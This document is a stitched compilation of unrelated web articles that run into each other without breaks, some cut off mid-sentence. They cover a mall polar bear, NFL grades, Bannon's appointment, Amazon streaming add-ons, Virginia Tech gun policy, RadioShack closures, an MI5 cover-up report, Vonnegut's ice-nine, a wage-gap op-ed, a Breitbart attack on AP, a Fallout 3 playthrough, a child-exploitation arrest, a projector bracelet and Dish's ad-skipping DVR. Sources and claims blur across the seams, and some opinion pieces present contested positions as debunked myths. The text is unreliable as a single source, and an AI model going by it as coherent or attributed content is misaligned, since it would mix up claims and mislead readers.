“Does the word ‘temporary’ say she will be back (to the aquarium) and tortured after the renewal of the lease?” China Cetacean Alliance (CCA), an animal welfare organization that has been urging the mall to stop importing animals said (link in Chinese, registration required) on Nov. 13. CCA told Quartz,”whether Pizza was really returned to Tianjin was in question. It could just be words from the staffs, and they could be sending her away because of the due of the lease.”
Pizza’s move came after public petitions to release the bear and after she showed distress signs (link in Chinese, registration required) due to captivity. While Pizza is gone, Grandview continues to house animals in the mall. Last month, the shopping center held an animal parade. It plans to open a new zoo early next year.
The Mall threw a goodbye party for Pizza on Nov. 13, where Pizza’s keeper Sasa cried and dozens of visitors (link in Chinese) were seen surrounding the glass enclosure. Grandview said it sent Pizza away so it could upgrade her enclosure and didn’t respond to questions about her lease. Grandview spokesman denied it acted due to public pressure and told local newspaper Guangzhou Daily Nov. 14 (link in Chinese) that Pizza would return by mid-June next year.0 of 22
Timothy T. Ludwig-USA TODAY Sports
When we expanded the NFL1000 concept and hired a talented group of scouts to analyze every player for each week of the 2016 NFL season, the goal of that first wave of analysis was to assemble a cogent, repeatable scouting system with a transparent process. We also wanted to give our readers an idea of how we saw things week to week.
Hopefully, we’d bust myths, spot trends and unearth hidden gems.
Halfway through the season, we’ve done that. Now, we have a ton of performance data, and we can give you a sense of how things have gone for every NFL player at the Week 8 line. To that end, here are our NFL1000 midseason grades. These marks are averaged for each player through the first half of the season from their week-to-week scores.
Not only does this give us an idea of how things stand at every position, but it also lets us know who’s the best at each positional attribute. And this is a hidden value to the methodology. Since we’re not using one number for a player’s entire performance, we can drill down and discover new things. Which receiver runs the best routes, and who’s the best blocker? Which cornerback is best in the slot? Which safety? Which punter is the best tackler? (Yeah, we keep track of that, too).
One directive we had from the start is there are no legacy scores. Which is to say, Darrelle Revis doesn’t get a pass for being Revis if he gets lit up—and that’s happened more often than we expected. That’s why he’s our 22nd-ranked cornerback. If Russell Wilson doesn’t throw a touchdown pass for a month, we don’t increase the grade and assume he’ll snap out of it. That’s why he stands as our 17th-ranked quarterback.
Perhaps the most fun part of the first half from our end (and hopefully from yours) is the ability to discover players who were previously under the radar. Concerned about the New England Patriots’ decision to trade Jamie Collins, perhaps their best defensive player? That might be mitigated if you’ve followed out write-ups on rookie linebacker Elandon Roberts, who’s shown an increasing aptitude for pass coverage.
Wondering which rookie center has made the biggest difference to his team: Ryan Kelly or Cody Whitehair? We’ve been on that since Week 1.
Who’s been the best undrafted or low-drafted rookie? Dak Prescott, a fourth-round pick, probably has that sewn up, but how about San Diego Chargers linebacker Jatavis Brown (Round 5), who’s been rising in our rookie review since he hit the field? Or Chicago Bears running back Jordan Howard (Round 5), who’s performed excellently in Ezekiel Elliott's shadow, perception-wise?
Did anyone think end Yannick Ngakoue of the Jacksonville Jaguars would have been so effective? We’ve been talking about him for weeks.
It’s been a fun ride so far, and we’d like to thank you for your interest and feedback (both positive and negative). Here are the NFL1000 Midseason Grades, and here’s to a stellar second half!
All advanced stats are courtesy of Pro Football Focus.
All punter stats are courtesy of self-charting from punter scout Chuck Zodda.In a scathing statement Wednesday, Sen. Bernie Sanders (I-VT) demanded that President-elect Donald Trump rescind his appointment of Steve Bannon as a White House adviser.
Sanders described Bannon as “a racist individual” whose appointment to a high level White House position was “totally unacceptable.”
“This country, since its inception, has struggled to overcome discrimination of all forms: racism, sexism, xenophobia and homophobia. Over the years we have made progress in becoming a less discriminatory and more tolerant society – and we are not going backward,” Sanders said in his statement. “The appointment by President-elect Trump of a racist individual like Mr. Bannon to a position of authority is totally unacceptable. In a democratic society we can disagree all we want over issues, but racism and bigotry cannot be part of any public policy. The appointment of Mr. Bannon by Mr. Trump must be rescinded.”
The appointment of Bannon has been viewed largely as Trump doubling down on some of the darker tones in his campaign. Republicans in his own party have largely distanced themselves from Trump’s controversial pick with many lawmakers saying flat out that they don’t know Bannon or have never met him.
Bannon, the former chairman of Breitbart news, is an antagonizing figure who has been denounced by a wide-range of Democrats, advocacy groups and some conservatives for his mainstreaming the alt-right.With 30 new add-on options for Prime members, some are more worthwhile than others.
Slickdeals content may contain references to products from one or more of our affiliate partners. If you make a purchase on their site through a link on Slickdeals, we receive a small commission. This in no way affects our opinions on products or services mentioned in our content.
Amazon made waves last month when they debuted over-the-top (OTT) subscription programming for Prime members. This translates to 30 add-on offerings for members to choose from, with Showtime and Starz understandably generating the most hype.
But cutting the cable cord and abandoning pay-TV bundles really comes down to the money, which begs the question — which Amazon add-ons are actually worth the cash? A few bucks here and there can certainly jack up your monthly bill (and fast), meaning you might not be saving as much money cutting the cord as you thought.
We took a closer look at the Amazon subscription add-ons currently on offer, weeding out the ones that aren't all that impressive. Here's how we've sized up the options.
The Best Amazon Add-On Deals
Showtime
If you're already shelling out a monthly fee for a traditional Showtime package, you may want to consider making the switch to Amazon. After a seven-day free trial, it'll only cost you $8.99 per month. The package boasts more than 600 films and shows, including hits like "Homeland," "Ray Donovan" and more. The price is definitely appealing, as unlimited viewing will run you $13.99 through DIRECTV. Meanwhile, Showtime's streaming service costs about $10.99, making the Amazon price point a pretty good one.
Starz
The Amazon deal marks Starz's debut into the OTT game. Pricing is the same as Showtime ($8.99 per month after a free week-long trial), giving viewers access to more than 800 original shows and movies, like the mega-hit "Outlander." Traditional pay-TV packages will likely charge you $13.99 per month, making it a real standout on Amazon.
Acorn TV
While Showtime and Starz are arguably garnering the most attention, Amazon's add-on options also include some other pretty attractive deals. Acorn TV spotlights over 300 British films and series for $4.99 per month after a free 30-day trial. This includes more than 60 exclusive shows that viewers won't be able to find anywhere else, making it a particularly attractive option for those who love British TV and cinema.
Shudder
If horror is your thing, check out Shudder. For just under $5 a month, you'll get all the murder and mayhem you can handle. The "endless stream of screams" includes more than 250 shows and films. It also boasts a two-week free trial. The only perk of going directly through Shudder for a membership is that if you pay for one year up front, you'll get 20 percent off.
The "Meh" Add-Ons
HooplaKidz
For $5.99 per month, this kids offering actually isn't all that great, even after the seven-day free trial. HooplaKidz may include over 100 episodes of nursery-rhyme type content, but it's nothing you can't find for free on YouTube. As a parent, I'd rather put that money toward an ABCMouse subscription.
IndieFlix Shorts
IndieFlix's low monthly cost of $2.99 (plus a free 30-day trial) will initially hook indie-minded viewers, but some users have griped that the content is a bit chopped up, only offering "random short films." More specifically, the chief complaint is that for $2 more per month, you can enjoy the network's full offerings.
The Maybe Add-Ons
Gaia
For roughly $10 a month, the Gaia add-on delivers more than 1,000 yoga- and meditation-themed shows and films. If that's your thing, the boatload of content may be a gold mine for you. But unless you're really devoted to that lifestyle, $120 a year might feel a bit steep, leaving us unsure about this one.
Doc Club
At $6.99 per month, Doc Club is all about critically acclaimed documentaries (more than 300, to be precise). But, similar to Gaia, spending more than $80 a year to watch award-winning docs might not be worth it for a lot of folks — especially cord-cutters looking to shrink their TV bill.
Comedy Central Standup Plus
Comedy lovers may perk up at Comedy Central Standup Plus, which showcases nearly 80 films and shows for just $3.99 per month after a seven-day free trial. Headliners like Amy Schumer, Adam Devine and Hannibal Buress are all on the list. Just don't expect to catch your favorite Comedy Central series as this package is, as the name implies, strictly stand-up.
That said, if you prefer a wider offering of Comedy Central gems, a Hulu subscription might be a better bet. Our house is a cable-free one, so we catch Comedy Central originals like "Workaholics" and "Nathan for You" on Hulu. However, I know my comedy-junkie husband would swoon over this stand-up package.
You can take a look at the full list of add-ons here. Have you given any of these a whirl? Drop us a line and let us know if you think they're worth the dough.DIGG THIS
Last year, Virginia Tech University successfully lobbied the state legislature to prohibit concealed-permit holders from carrying a sidearm on campus. At the time, university spokesman Larry Hincker commented,
Im sure the university community is appreciative of the General Assemblys actions because this will help parents, students, faculty, and visitors feel safe on our campus.
In June of last year, the university reemphasized its ban on carrying guns on campus by students, employees, and visitors. Last spring, it disciplined a student with a concealed-carry permit who brought his handgun to class. On April 16, 2007, 43 students and faculty members paid the price for such shortsightedness when a deranged student killed 33 and wounded the remainder with handguns.
Despite claims to the contrary, this is not the worst school killing in U.S. history. On May 18, 1927, a disgruntled school-board member killed 45 people and injured 58 most of them second-grade to sixth-grade children when he set off bombs at Bath Consolidated School in Bath, Michigan.
In response to the Virginia Tech incident, gun-control advocates predictably demanded more gun-control laws. Carolyn McCarthy (D-N.Y.), author of the latest assault-weapon ban making its way through Congress, which is a more draconian version of the Clinton 1994 assault-gun ban that expired in 2004, suggested that we need to talk about guns |
- a sure to be emotional tour through key moments of the four films 'frozen in time'. The VR Pill, who attended the launch event, confirmed with Reel FX (the studio behind the experience) that the experience will launch on the Samsung Gear VR on(we hope to bring a deeper look at the experience then, when we download it), and a release on Android, iOS (using Google Cardboard) and the Oculus Rift by November 20.Samsung and Lionsgate have announced today that the highly-anticipatedVirtual Reality Experience, a 1-minute preview of which debuted at Best Buy last weekend, will have its full public launch this weekend in New York. Fans will be able to try it out from 11am to 7pm aton 353 W 14th Street! Samsung are also giving away 25 pairs of tickets to tomorrow night's launch party at the venue, with one of the cast members attending, so get RTing! ( 21+, closes 5pm ET TODAYIt’s the end of an era for RadioShack.
The consumer electronics retailer filed for Chapter 11 bankruptcy protection on Feb. 5 after years of slow decline from its ’80s heyday. It will sell between 1,500 and 2,400 of its 4,000 US branches to the hedge fund Standard General, which will partner with Sprint to operate up to 1,750 of the stores, the Wall Street Journal reported. (paywall)
On its website, RadioShack posted a link to a pdf document called ”Potential store closures list.” It names 1,784 US RadioShack locations slated for possible closure.
This map shows all of the stores. Hover over or tap on a circle for more information on that location.
The RadioShacks that were
Here’s the complete list, sorted alphabetically by state and, within each state, by city:Details of an alleged conspiracy by UK intelligence services to hamper a murder investigation have emerged following the release of a secret police report describing how MI5 concealed evidence detailing the murder of a Belfast teenager.
In what became one of the most sensitive murder cases of the Troubles, 17-year-old Michael Tighe was gunned down by Royal Ulster Constabulary (RUC) forces in Lurgan, Belfast, in the early 1980s. He was unarmed at the time.
After evidence of Tighe’s murder was destroyed, Northern Ireland’s Director of Public Prosecutions (DPP) demanded the Police Service of Northern Ireland’s (PSNI) Chief Constable and Police Ombudsman launch a probe into the alleged concealment and destruction of an audio recording relating to the teenager’s death.
Michael Tighe shooting: RUC and MI5 in shoot-to-kill probe after tape of teen death'sabotaged' http://t.co/HvjDOloH8p#NINEWS — Belfast Telegraph (@BelTel) January 15, 2015
A report detailing how MI5 officers covered up the existence of the tape, and later destroyed it, was written in the 1980s.
The document said two top-level MI5 officers based in Northern Ireland were responsible for the audio file’s destruction. It recommended they be charged for obstructing the course of justice.
Then-Chief Constable of West Yorkshire Colin Sampson, who wrote the report, called MI5’s repression of the evidence relating to Tighe’s murder “reprehensible.”
He insisted the officers were guilty of malpractice, and had engaged in a “grave abuse of their position.”
Samson said the excuse the MI5 operatives had offered for withholding the evidence was “dishonest.”
He stated further he had gleaned enough evidence to push for the prosecution of three intelligence officers for their roles in conspiring to pervert the course of justice.
READ MORE: ‘It can and will happen here’: Counter-terror officers draw somber conclusions from 7/7 (VIDEO)
Samson suggested, however, the most junior intelligence officer who allegedly destroyed the tape be offered immunity in exchange for testifying against his high-ranking colleagues.
The West Yorkshire Chief Constable also recommended three police chiefs be charged for conspiring to obstruct the course of justice.
Despite this fact, no charges were brought against any of the police officers. In a formal statement, then-Attorney General Sir Patrick Mayhew argued bringing them to trial was not in the national interest.
Mayhew failed to make any mention of MI5, however. MPs later insisted his rhetoric indicated the government had called for only police officials to be charged.
Sampson’s report was obscured from public knowledge for three decades. But key parts of it were submitted to Belfast’s Court of Appeal after a man who survived the same RUC shooting had a conviction overturned. He had been prosecuted for possessing firearms.
READ MORE: ‘Shot 9 times in the head’: Killing of innocent Brazilian by UK police reaches Strasbourg
The man in question, Martin McCauley, had his case referred to the Appeal Court by the Criminal Cases Review Commission. The body is responsible for examining miscarriages of justice in Northern Ireland.
The commission is believed to have spoken with people who had been party to a surveillance recording to discern whether a warning was issued prior to Tighe’s murder.
After McCauley’s conviction was overturned, Northern Ireland’s DPP ordered a fresh investigation into the withholding and destruction of the surveillance recording.
Northern Ireland’s Police Ombudsman is now probing ex-Special Branch officers’ involvement in the fateful RUC shooting, which left Tighe dead. The actions of several MI5 officials are being investigated by Police Scotland.Ice-Nine A crystalline form of water so stable that in practical terms it would never melt.
A general had a problem: mud. Marines have slogged their way through it for generations. Is it possible to get rid of mud? Without having to carry anything heavy? Marines already have enough to carry. Dr. Felix Hoenikker, an original thinker, found the "outside-the-box" answer; a single crystal of Ice-Nine would crystallize every bit of water it touched.
"...suppose, young man, that one Marine had with him a tiny capsule containing a seed of ice-nine, a new way for the atoms of water to stack and lock, to freeze. If that Marine threw that seed into the nearest puddle...?"
"The puddle would freeze?" I guessed.
"And all the muck around the puddle?"
"It would freeze?"
"And all the puddles in the frozen muck?"
"They would freeze?"
"And the pools and the streams in the frozen muck?"
"They would freeze?"
"You bet they would!" He cried. "And the United States Marines would rise from the swamp and march on!" From Cat's Cradle, by Kurt Vonnegut, Jr..
Published by Random House in 1963
Additional resources -
And where would the freezing stop? Unfortunately, the melting point of Ice-Nine was 114.4 degrees; once the entire planet locked up, it would probably never melt. Here's what the world looked like after Ice-Nine was released into the environment, crystallizing all water on Earth, locking it into the Ice-Nine configuration. There were no smells. There was no movement. Every step I took made a gravelly squeak in blue-white frost. And every squeak was echoed loudly. The season of locking was over. The Earth was locked up tight In fact, there really is a form of ice called Ice-IX. Ice-IX was discovered in 1968. It exists only under high pressure and does not have the properties of Vonnegut's ice-nine (thankfully!). Kurt Vonnegut's brother held a PhD in physical chemistry from MIT; he published papers on silver iodide and ice formation (cloud seeding). So that's one possible source for the idea. It has also been suggested that, when Vonnegut was working at General Electric (in public relations), he was inspired by a company story relating to H.G. Wells. When Wells visited G.E. in the 'thirties, Nobelist chemist Irving Langmuir was tasked with keeping Wells entertained during his visit. Langmuir came up with an idea about a form of water that was solid at room temperature. Wells never published a story about it, but Vonnegut thought it was worth using. Crystallized water, or ice, has a greater variety of crystalline structures than perhaps any other material. Ordinary ice (like you might skate on) has a hexagonal structure; water at different temperatures and pressures forms solids that are rhombohedral, tetragonal, cubic, or orthorhombic in structure. Some forms of "frozen" water are disordered (non-crystalline). Just so you know, the regular ice in your refridgerator is hexagonal ice, Ice-Ih. That's what makes nice hexagonal snowflakes. Aren't you glad you asked? See the comments for this item to read more about ice-nine and polywater.
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Ice-Nine-related news articles:
- Ice-Nine Modeled In Harvard Computer - We're Doomed
- Neowater - Like Intracellular Water
- Ice Formation At Room Temperature Is Possible With New Material
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Get the name of the item, a quote, the book's name and the author's name, and Add it here.NEW YORK (MarketWatch) — We hear it over and over again: the myth of the gender wage “gap.”
Here’s President Obama, speaking on June 4: “And we’ve made progress. But we’ve got a lot more to do. Women still earn just 77 cents for every dollar a man earns.”
An Obama campaign TV ad, entitled “First Law,” which began airing June 21, showed the same 77 cent figure.
Just one problem — it isn’t true. Here are three myths about the wage “gap.”
Myth 1: Women get less pay for equal work. The spurious assertion that women are paid 77 cents for a man’s wage dollar comes from comparing the earnings of all full-time men with those of all full-time women.
The comparison is bogus, for two reasons. First, it lumps together men and women who work different numbers of hours — any hours above 35 hours per week. On average, full-time women work fewer hours than full-time men, often because they prefer it.
When comparisons are made between men and women who work 40 hours per week, women make 87% of men’s earnings, according to the Labor Department. For men and women who work 30 to 34 hours a week, women make more, 109% of men’s earnings.
Second, the gap claim averages for each gender earnings from many and disparate vocations. For example, it averages women who work as social workers with men who work as investment bankers; female elementary school teachers with male engineers; and male loggers with female administrative assistants.
For their own reasons, many women enter so-called “helping professions,” such as nursing, teaching, elder care, health services, nutrition, social work. These occupations pay less than do some more dangerous and physically-demanding lines of work that attract more men — engineering, mining, operating construction machinery.
Legitimate comparisons look at men and women with the same job tenure in the same position at the same firm. If there’s a big difference under those circumstances, there may be discrimination, giving women grounds to sue. Federal law forbids discrimination, and permits such suits.
When economists compare men and women in the same job with the same experience, the analysts find that they earn about the same. Studies by former Congressional Budget Office director June O’Neill, University of Chicago economics professor Marianne Bertrand, and the research firm Consad all found that women are paid practically the same as men.
President Obama says he’s in favor of equal pay. Does he practice what he preaches? Not according to my calculations from 2012 pay data published by the White House. I found that women staffers there were paid 91 cents on a man’s dollar — if one calculates the figure, incorrectly, based on simple averages by gender. This is presumably because female staffers in these offices were not as senior as male staffers, or they held different types of positions, just as in the workforce as a whole.
Myth 2: Women are discouraged from enrolling in higher-paying fields — science, technology, engineering, math. Not true. No one prevents women from taking the curricula they prefer to get ahead.
However, fewer women choose to major in engineering, chemistry, and physics. More choose to take English literature, communications, and gender studies. Graduates in these fields are usually paid less than in the sciences.
Data for degrees awarded show that women are scoring ahead of men. According to the National Center for Education Statistics’ Digest of Education Statistics, women were projected to get 58% of masters and bachelor’s degrees, and over half of PhD degrees for the 2011-2012 academic year.
Data on the courses of undergraduate study which women choose reveal their vocational preferences. In 2010, the top five woman-heavy majors were family and consumer sciences/human sciences (88% female); library science (87%); health professions and related programs (85%); public administration and social service professions (82%); and education (80%).
The top four man-heavy majors are more highly paid but draw relatively few women. They were military technologies and applied sciences (4% female); transportation and materials moving (11%); engineering and engineering technologies (17%); computer and information sciences and support services (18%); and economics (30%).
Leah Loversky, a senior at Pomona College in California majoring in economics, told me that most economics majors on her campus are men. Last semester, in a 21-student class on game theory, she was one of two women. (She got an A minus.) “No one tried to discourage me from taking the course,” she said. “In fact, my fellow economics majors all encouraged me to take it.”
Women who prepare for science and engineering are well rewarded in a job market that traditionally has been male-dominated. One 2010 study found that while women represented 11% and 12% of university tenure-track applicants in electrical engineering and physics, they received 32% and 20% of job offers. They were more likely than male applicants to get hired when they applied. This shows that in the sciences, employers seek to remedy the traditional gender imbalance by seeking out bright women, who benefit from affirmative action. Read more about the study.
Myth 3: A discriminatory “glass ceiling” restricts women to lower-paying jobs and careers and keeps them out of senior management and the corner office. Many women, even those with excellent academic credentials, prefer to work part-time in order to combine work and family. Family-friendly jobs with flexible hours pay less than jobs with longer, inflexible hours. (Some feminists contend that this is unjust, but that is a separate issue.)
It’s not the “glass ceiling” that keeps women out of the corner office, it’s a choice of how much time and effort to put into one’s career. Many in the millennium generation (born after 1980) call it “work-life balance.” For men and women, to make it to the corporate top requires countless hours of work and travel and too little time for family. That means missed birthdays, football and field hockey games, and school productions. Women seem to mind missing these events more than men.
Consider women at Yale Law School. In 2012, as it has done in many other years, Yale Law Women, an organization of female law students at Yale Law School, made a list of “Top Ten Law Firms,” in categories particularly noted for family friendliness. Read more about the Yale Law Women list.
They picked firms that offered part-time and flex-time work, as well as generous parental leave. “One of the goals of the Top Ten list is to generate discussion about family- friendly policies at top law firms,” Yale Law Women wrote on its website.
These are women who have the credentials to aim for the executive suite at major corporations, but some are planning for part-time and flex-time. There’s no problem with those choices, but these same women shouldn’t cry discrimination when they don’t make it to the top.
Myths and realities — women and men grow up with them. Some myths teach us moral and ethical truths, and we are the richer for them. But when myths try to teach us something demonstrably false — such as women earning less than men for the same work — we are all the poorer. It is time to discard false myths about women.
Diana Furchtgott-Roth is an economist who served in the administrations of Presidents Reagan, George H.W. Bush and George W. Bush, most recently as chief economist of the Department of Labor from 2003 to 2005. She is a senior fellow at the Manhattan Institute and a contributing writer for various publications, includingRealClearMarkets.com, the Washington Examiner and Tax Notes. She is co-author of Women’s Figures: An illustrated Guide to the Economic Progress of Women in America.The Associated Press is at it again, pushing more fake news. Sadly, the once-great news wire service is trying to cover up its mistake—nearly the exact mistake that cost three editorial staffers at CNN their jobs in a scandal that first exploded a week ago today.
A Breitbart News investigation has led to the correction by the Associated Press–which originally resisted–of the fake news it printed as deeper questions of responsibility, accountability, and journalistic ethics consume the AP heading into Fourth of July weekend.
This time, the Associated Press invented an imaginary meeting between EPA administrator Scott Pruitt and Dow Chemical CEO Andrew Liveris, and then alleged that some kind of impropriety happened as a result.
This is exactly the same mistake CNN made a week ago, when it alleged that Anthony Scaramucci—the founder of SkyBridge Capital and an associate and ally of President Donald Trump—held “meetings” with Russian investment fund leaders and was under investigation by the Senate Intelligence Committee and Treasury Department as a result.
Read moreOn January 19th, 2014, Many A True Nerd started a new playthrough of Fallout 3. Not just any playthrough, though: his goal was to eradicate everyone from the capital wasteland.
“It was a way to make a series that I love immensely feel fresh,” Many A True Nerd explained to me over email. “Fallout 3 and New Vegas are outstanding games, and I really wanted to recapture that feeling of experiencing them as if it was the first time, so I decided to play them with self-imposed rule-sets, which completely change how you approach the game.”
What he means becomes immediately obvious while watching the series—while Fallout 3 lets you kill tons of people, the game doesn’t actually want you to do that. The game wants to tell you a story! Sure, there are characters that the game simply won’t allow you to kill (not that this stops Many A True Nerd from knocking these characters unconscious during his playthrough), but things get super funky when you play Fallout 3 as a serial killer of sorts.
“[Fallout 3] gives you a fair amount of freedom, but it also does have a side it clearly wants you to join, and who are identified as the good guys,” Many A True Nerd said. “I wanted to see how far the plot could stretch; how would the game respond to me intentionally trying to break the plot, by constantly attacking the people it really wants me to be friends with?”
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The AI doesn’t always know how to cope. At times, people will be psychic and can tell when you kill someone from their faction, even if they never actually saw you do it. Other times, Many A True Nerd would kill a key character, and nobody around seemed to give a shit. Kids—which the game doesn’t normally let you kill—became orphans thanks to this deranged quest, and yet they’re often rather friendly to Many a True Nerd’s character, for example.
On some occasions, characters will care about murder sprees in strange ways—if you kill the overseer at the start of the game, for example, his daughter Amata will go “pay respects” to his body. In action, what this means is that her character will go to wherever the overseer’s body is—and Many a True Nerd couldn’t help but start dragging the dead body everywhere, just to have her chase him. In the first video of the series, you see him get obsessed with which specific part of his body she’s programmed to follow—and in order to find out, he chops the body into pieces and tests out what she’ll chase after. (It’s the torso. She doesn’t care about anything other than the torso. Not even his head!)
...if the premise didn’t make it obvious, things get a little disturbing during the run. But that’s exactly what makes it entertaining.
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“The best bits have been exactly when the game surprised me,” Many a True Nerd said. “In a world as big and sometimes buggy as Fallout, things I’ve never seen before can happen, and it accidentally creates a fantastic new experience. My favorite moment was when I discovered that, for some reason, the giant robot Liberty Prime had his pathing tied to another character called Vargas. I had already killed Vargas, so Liberty Prime just stood their in the final mission of the game, refusing to move.
Things get a little disturbing during the run. But that’s exactly what makes it entertaining.
“According to the Fallout wiki itself, that’s a game breaking bug, and there’s no solution other than console commands on PC. So I found a solution, by murdering members of the robot’s faction until he turned on me, and then leading him into the barriers that only he can tear down.
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“Quite simply, something that everybody had written off as a glitch turned that mission from a walk-in-the-park to an almost impossible challenge, and it was vastly more exciting for it. That sort of brand new experience was exactly what I was looking for.”
The series is full of curious stories like this.
“...a minor NPC called Shrapnel [is a] merchant who works in Rivet City, and he’s completely unremarkable. He’s involved in no quests, and isn’t even the only weapon vendor in that city.
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“But if you enslave the other weapon vendor, Flak, Shrapnel mysteriously leaves Rivet City and starts to wander the wasteland alone. If you run into him during combat, you realise that, for no obvious reason, the game has marked him as essential, meaning he cannot be killed. So he just wanders around in his terrible armor with his terrible gun, picking fights against vastly superior opponents, he chips a bit off their health bar, they knock him down, he jumps up and chips a bit more off their health bar, they knock him down again, and eventually he wins. He always wins, against the Enclave, and Deathclaws, and Albino Radscorpions.
“I ran into him 3 times in the wastes (and tried to kill him all three times too), so he just became part of the series’ mythos. Shrapnel became an NPC who was on his own Kill Everything quest, seeking his lost companion Flak.”
While the game reacts in great ways, it also helps that Many a True Nerd knows how to put on a show. In one instance during the series, he kills everyone in Megaton—and then, to rub salt into the wound, he finishes the Tenpenny quest that lets you destroy Megaton with an atom bomb. Then, he kills Tenpenny himself, because of course he does.
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While the series came to an end on August 31st, you can watch it in its entirety here. The run goes through five different pieces of DLC, and the final body count comes to a whopping 3,012 dead folk. And yes, that’s everyone in Fallout 3—he’s checked. The total doesn’t account for people the game doesn’t let you kill, but don’t worry: Many a True Nerd still goes through the trouble of knocking these characters unconscious at least once during his playthrough.
When you’re done with his Fallout 3: Kill Everything run, you can start getting hyped on Many a True Nerd’s next series, where he’ll be playing Fallout: New Vegas with no healing and permadeath:
“It’s probably impossible, but if I’ve learned one thing from one of my other favorite games, FTL: Faster Than Light, failing with style is a noble goal too,” he mused.CORRECTION: Police have issued a correction in the age of Chicoine. Police originally stated he was 28.
Philip Michael Chicoine, who is from Saskatoon, is facing 19 child pornography, sexual offence and child luring charges in a case that spans three countries.
The Saskatchewan internet child exploitation unit began investigating Chicoine, 27, in February after child pornography was allegedly uploaded to a social media account he operated.
READ MORE: Charges laid after child pornography allegedly found on Regina man’s computer
On Thursday, March 9, police searched a home in Saskatoon and seized evidence.
Investigators allege Chicoine was arranging access to video and facilitated live-streaming child pornography in the Philippines and Romania helped by women in those countries.
Police in Romania have arrested several women in that country and have confirmed the children are now safe.
The investigation in the Philippines is ongoing.
Along with nine child pornography charges, Chicoine is facing eight charges of agreeing to commit a sexual offence against a child and two counts of child luring.
Chicoine made his first appearance in Saskatoon provincial court on Friday morning and is being held in custody for a show-cause hearing on Monday.December 8, 2014 3 min read
Smartphone addicts will want to pay close attention to this.
Say, for example, you're taking a shower or relaxing in a hot bath. Your smartphone is nowhere near your wet, soapy hands. Just then an important email comes in. You either have to ignore the message until you're done or prematurely have to jump out and dry off. Not fun. Not convenient.
The inventors of something called Cicret (pronounced “secret”) want to change that. With the simple flick of your wrist, the Cicret bracelet can project your smartphone’s display onto your forearm. Your arm essentially becomes a fully interactive display -- a swipeable, touch-sensitive, full-color one that allows you to read and send emails, get directions, you name it.
Related: A Watch That Shoots Lasers? Yes, Please.
And it’s apparently water-proof, too.
Sound too good to be true? Check out the video to get a look for yourself:
See? With Cicret on your wrist, you’d never lose touch with your precious smartphone again. Your phone fix would be skin deep.
Related: Want a New Smartwatch? Hold On. Why Not a Smart Ring Instead?
Basically, Cicret lets you do everything you do on your phone on your forearm, palm up or palm down, depending on which way you wear it. Per Cicret’s website, you can rock it to “Read your emails, play your favorite games, answer your calls, check the weather, find your way...Do whatever you want on your arm.”
How it works isn’t, well, much of a Cicret, er, secret. The promo video explains that the snap-on device works its magic using an embedded system that includes one mini projector, one microprocessor and eight long-range proximity sensors. It’s also packed with lots of other geeky goodies like Wi-Fi, Bluetooth, “vibrator,” micro USB port, battery, LED light components. Oh, and it comes in either 16-GB or 32-GB, and in 10 fun colors.
Also in the promo clip, the bracelet appears to be activated in a quick flick of the wrist. The smooth move instantly lights up a projection of a nearby Bluetooth-paired smartphone (notably an Android), illuminating several inches along the user’s wrist. Pretty bright idea, eh?
Related: Gold? Silver? Pffft. This Necklace Is Pure Illumination.
The one thing you can’t do unfortunately is get one right now. Cicret is still only in prototype mode. Soul crushing as that is, you can’t even pre-order one yet, either.
Cicret’s Paris-based developers say they still need to raise about $1.2 million dollars to make the project a reality. They’re opting for their own PayPal fundraising campaign, forgoing trendy crowdfunding on Kickstarter and on Indiegogo. They recently failed to fund an ephemeral, Snapchat-like messaging app on the latter, ponying up a mere $15 of their $50,000 goal. Let’s hope it’s not a bad omen for their brilliant wearable offering.
A beta version of the free app, simply called Cicret, is, however, available on Google Play. We’re guessing they want you to use it on their wristlet, you know, when you’re not busy taking a call in tub. Two questions remain: Does it work under water? And how much will one cost?
Related: A Wearable Women Want to Wear? Behind Intel's New Smart Bracelet.Unlike the music and news businesses, television has been mostly successful at fending off technological challenges. Several network owners worked together to start Hulu, an online streaming Web site intended to curb piracy. This year, when a start-up called Aereo introduced a service to stream New York TV stations via the Internet, the stations banded together in filing two lawsuits to stall it. The lawsuits are pending.
The Auto Hop is noteworthy because it originated not from a start-up but from a satellite distributor with longstanding ties to the rest of the TV industry. Dish Network regularly negotiates with the networks for the rights to rebroadcast programming. Without that programming, subscribers would switch distributors. Yet Dish has still decided to promote its ad eraser, which comes with the Hopper, a new DVR that can record all the prime-time programming on ABC, CBS, Fox and NBC simultaneously.
As network executives tell it, Dish Network is a friend turned foe, once preserving the advertising model but now threatening to turn on a doomsday device. (It didn’t help Dish’s cause that it gave the networks less than a day’s notice before announcing the feature last Thursday.)
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So they are closing ranks to try to stop it. At least one of the network owners, News Corporation, is no longer accepting Dish’s new DVR ads on any of its television properties. It and several other owners are examining whether they can sue Dish, the same way they sued a maker of DVRs a decade ago, according to several people with knowledge of the deliberations, who insisted on anonymity to speak freely about the internal discussions.
James L. McQuivey, a vice president and analyst for Forrester Research, said that “with Dish’s aggressive move to please the end customer rather than advertisers, it’s clear that in the fight for TV revenue the gloves have finally come off.” He continued: “The fact that Dish would be willing to anger some of its most important content partners just goes to show how desperate these times we live in really are.”
The desperation stems from the persistent fear that subscribers will forgo paying for television service and turn to Internet alternatives instead. A feature like Auto Hop is a drastic step “to keep consumers interested,” Mr. McQuivey asserted.
The technology to automatically skip TV ads isn’t new. TiVo, one of the original DVR makers, flirted with such a feature about a decade ago. Another maker, ReplayTV, actually put such a feature in place, spurring lawsuits from the major TV networks.
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In 2003, after the owner of ReplayTV filed for bankruptcy, the new owners dropped the feature. A company executive was quoted as saying at the time that “we will take features out because we want to be a positive force in the industry.”
TiVo has taken the same approach, promoting ways to deliver ads to viewers even as they’re fast-forwarding through them. “We’ve gone from being a black hat to being more of a white hat,” said Tom Rogers, the chief executive of TiVo.
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He was an executive at NBC a decade ago when the network was considering making an investment in TiVo. One of the conditions of the investment, he said, was that “they not have an automatic commercial skip.”
TiVo’s Web site specifies that its devices “do not offer a commercial skip feature,” though there is a way to turn on a 30-second skip-ahead button. Mr. Rogers said Dish’s all-ads-skipped button takes the notion “to an extreme.”
But Dish asserts that the technology actually promotes broadcasting and encourages people to sample new shows.
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“Over time, we can actually get viewers more engaged with content, not less,” said Vivek Khemka, a vice president at Dish, in an interview this week. “We are sensitive to the networks’ needs.”
That’s why the feature does not start working until two hours after the end of prime time each day, he said, and why the ads are preserved on the recording. (They’re hidden, however, because the Dish software knows when to skip over them.)
As Mr. Khemka pointed out, consumers have had the ability for years to manually fast-forward through ads. DVRs are now in nearly half of all American households and are widely accepted by the industry. DVR owners still see many TV ads, though, according to Nielsen data, suggesting that the recorders give owners the illusion of choice.
